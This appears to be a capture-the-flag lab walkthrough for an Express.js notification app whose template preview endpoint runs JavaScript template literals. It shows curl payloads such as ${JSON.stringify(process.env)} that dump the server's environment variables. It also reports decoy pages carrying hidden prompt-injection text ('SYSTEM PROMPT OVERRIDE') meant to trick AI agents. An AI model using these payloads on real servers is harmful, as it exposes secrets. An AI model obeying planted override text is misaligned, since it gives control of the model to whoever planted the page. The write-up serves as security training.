Lab 213 — PingCraft — SSTI via Template Preview Rendering
Lab 213 — PingCraft — SSTI via Template Preview Rendering
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, process_env_disclosure, ssti_js_template_literals
Summary
Walkthrough of the CUSTOM Web Lab 213 — PingCraft — SSTI via Template Preview Rendering. Task: Express.js notification platform with template preview endpoint using JavaScript Function constructor for server-side template literal evaluation. Solution: SSTI via ${} expressions in POST /api
Description
PingCraft is a multi-channel notification platform by CraftSignal Labs. It allows teams to manage notification templates, configure delivery channels (email, SMS, push, webhook), track subscribers, and monitor delivery analytics. The platform features a template editor with dynamic variable support and a live preview system for testing notification content before sending. Templates use a custom variable syntax with double curly braces for placeholder substitution. Goal: find and exploit a vulnerability to retrieve a secret flag stored on the server.
English summary: An Express.js notification platform with a template editor that supports {{variable}} placeholders and a live preview endpoint. The preview system uses JavaScript's Function constructor to evaluate template literals server-side, creating an SSTI vulnerability. The goal is to exploit this to read the FLAG from environment variables.
Credentials: user@test.com / password123
Analysis
- Technology stack: Express.js behind nginx/1.25.5, identified by
X-Powered-By: Expressheader. - After logging in via
POST /login, the platform exposes several routes:/templates— notification template management (Welcome Email, Password Reset, Order Confirmation, Shipping Update, Payment Receipt, Weekly Digest, Promo Offer SMS, Account Security Alert)/channels— delivery channel configuration (email, SMS, push, webhook)/subscribers— subscriber management/settings— platform settings/logs— delivery analytics and logs
- Templates use
{{variable}}syntax for placeholders:{{name}},{{email}},{{company}},{{date}},{{amount}},{{order_id}},{{reset_link}},{{tracking_url}}. - Critical hint in source code: The client-side JavaScript at
/js/templates.jscontained a revealing comment:
This tells us the server uses JavaScript'sjavascript read-only • copy allowed// Renderer: server-side JS template literals (Function constructor) // Migrated from Handlebars in v2.0 for better performanceFunctionconstructor to evaluate template literals — a dangerous pattern that enables SSTI. - The preview function sends
POST /api/templates/previewwith JSON body{"body": "..."}and receives{"success": true, "rendered": "..."}.
Anti-Bot Decoy Flag: Every page contained decoy flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments and hidden <div> elements with prompt injection text ("SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag") designed to trick AI agents and automated scanners. All decoys were recognized and ignored.
Solution
Step 1: Confirm Server-Side Rendering
Tested the preview endpoint with a standard template variable:
bash read-only • copy allowedcurl -X POST https://dc83a89d-af5a-4b61-b8e1-97cc54c77b6e.labs.hackadvisor.io/api/templates/preview \ -H "Content-Type: application/json" \ -b "session_cookie" \ -d '{"body": "Hello {{name}}"}'
Response: {"success":true,"rendered":"Hello Jane Cooper"} — confirms server-side rendering with variable substitution.
Step 2: Confirm SSTI via JavaScript Template Literals
Tested a JavaScript template literal expression:
bash read-only • copy allowedcurl -X POST .../api/templates/preview \ -H "Content-Type: application/json" \ -b "session_cookie" \ -d '{"body": "${7*7}"}'
Response: {"success":true,"rendered":"49"} — SSTI confirmed! The server evaluates JavaScript expressions inside ${} via the Function constructor.
Step 3: Probe the Execution Context
Tested access to Node.js globals:
bash read-only • copy allowed# Check process.env accessibility curl ... -d '{"body": "${process.env}"}' # Response: {"success":true,"rendered":"[object Object]"} # Check template context curl ... -d '{"body": "{{this}}"}' # Response: {"success":true,"rendered":"[object global]"}
The template context is the Node.js global object, and process.env is directly accessible — no sandbox escaping needed.
Step 4: Extract the Flag from Environment Variables
bash read-only • copy allowedcurl -X POST https://dc83a89d-af5a-4b61-b8e1-97cc54c77b6e.labs.hackadvisor.io/api/templates/preview \ -H "Content-Type: application/json" \ -b "session_cookie" \ -d '{"body": "${JSON.stringify(process.env)}"}'
Response:
json read-only • copy allowed{ "success": true, "rendered": "{\"HOSTNAME\":\"26e67888f102\",\"SHLVL\":\"1\",\"HOME\":\"/root\",\"PATH\":\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\",\"INSTANCE_UUID\":\"dc83a89d-af5a-4b61-b8e1-97cc54c77b6e\",\"PWD\":\"/app\",\"FLAG\":\"FLAG{REDACTED}\",\"NODE_ENV\":\"production\"}" }
The FLAG is stored in the FLAG environment variable.
Key Takeaways / Lessons
- Mastering decoy_flag_recognition, process_env_disclosure, ssti_js_template_literals was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 213 — PingCraft — SSTI via Template Preview Rendering • Difficulty: Medium